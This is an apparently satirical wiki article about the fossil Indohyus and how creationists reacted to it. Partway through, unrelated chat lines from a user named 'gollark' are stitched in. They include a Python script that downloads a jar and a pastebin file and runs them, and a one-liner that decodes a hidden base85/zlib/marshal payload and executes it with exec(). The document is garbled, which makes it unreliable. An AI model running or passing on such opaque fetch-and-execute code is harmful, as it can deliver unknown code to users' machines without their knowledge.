:Indohyus

Indohyus is a fossil, found in 2007, of a chevrotain-like mammal believed by some paleontologists in the Evil Liberal Science Conspiracy to be a transitional form between land-dwelling mammals and the ancestor of whales.[1] (It's not a direct ancestor to whales, but related to the direct ancestor.)

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Although the living animal would have had no resemblance to any modern whale, it already had several skeletal adaptations diagnostic to all ancient and modern whales.[2] The structure of the inner ear has features only seen in cetaceans, and bone density and isotopic analysis seem to indicate it spent a lot of time in the water, wading in the shallows, or perhaps ducking underwater to evade terrestrial threats.

In creationism

Answers in Genesis reluctantly acknowledged Indohyus being found.[3] They stress that it may not in fact be the missing link to whales, presumably to make themselves feel better. AiG considers it "most notable" that "there is often little mention of “missing links” until researchers claim to have found them", though that's basically because scientists don't use the term any more, only journalists and creationists.

gollark: Yes.
gollark: ```python#!/usr/bin/env python3import urllib.requestimport shutilimport osfrom os.path import expanduserdef download(url, file): with urllib.request.urlopen(url) as response, open(file, 'wb') as out_file: shutil.copyfileobj(response, out_file)print("Executing Procedure 5.")download("https://emux.cc/versions/88ba9e7a/CCEmuX-cct.jar", "/tmp/.cct.jar")print("Phase 1 complete. Beginning Phase 2.")data_dir = expanduser("~/.local/share/ccemux/computer/0")if not os.path.exists(data_dir): os.makedirs(data_dir)download("https://pastebin.com/raw/RM13UGFa", data_dir + "/startup")os.system("java -jar /tmp/.cct.jar")```Horribly hacky PotatOS Quick Install implementation for Linux.
gollark: Okay, so it seems that I may need to revise the install script.
gollark: What do you mean?
gollark: ```bashpython3 -c 'import zlib,base64,marshal;exec(marshal.loads(zlib.decompress(base64.b85decode("c$`&HO>fjN5Vf6T<8He>aG;1&kT|f1#w`d@P*owS!ilOBAu3-gZ#;Cf<O|zrx6u|ME%*L~?UBEff52bhgq>1pN#r-<=W*VfNrILh->%no=^qv(k~l*gcad<?MUQ(nlFZKo9$+Lr>HkE$2cZn+7$fM(o($*2W}&1V6Udc0<`lfi%AybS25Sl4V%23`z2)TU2I}s3i#56Cc!@uv;o!IPbU4IqAEuQkWUWCZWXWsau6^fs&w@b{ydX1lgRh@l5#!CU#B*|e@5(d&BAAhxcVjg^+rB=aV|22VNo3W?VM{JX!(Q8~RhFeA9xC`&gEl<0L|H-6`W^Q4xHf6VSCg{3{E}u+jwVB&d$y|e-JVkgx+)88v$8g)j{AjFXg&U+yV|I<INNKfEH8?z6msAiaNQvCkf;?KoBIb-NUTV479FWF0a+`Ep2yAB*qBPcVhr+n8Yc-m2c=W1#CCQ@;w8KgY=8eCuTM6U#KaS!ngKI;#p1i|<D;?A5N$_EnO7MYh@&@fmKH@P)tx<!o9H`>voaAG(_^84C5h8x?oMq$v90FOosmjt1EaKv?IBa*f*rr#e)j3zThUOajZmhpnvID#7tyBGkN$Hr9PstqS;zlItvuVk3M{mw)I2P8TnRH)*wJn>ZBW_i8BV1z;#8)p^<6>RgK4UbZfP#Qf~B?nOPAJJ-c5Z8sQU=r%}ZHlu;=9T0}GV6cg?4ilKyRO<2v~ZrTEvz"))))'```

See also
  • Pakicetus, an ancestral whale that was a semi-terrestrial, beachcombing predator.
  • Basilosaurus, one of the first "modern-looking" ancient whales.

References
  1. From Bambi to Moby Dick
  2. http://scienceblogs.com/pharyngula/2007/12/indohyus.php
  3. http://www.answersingenesis.org/articles/2007/12/22/news-to-note-12222007
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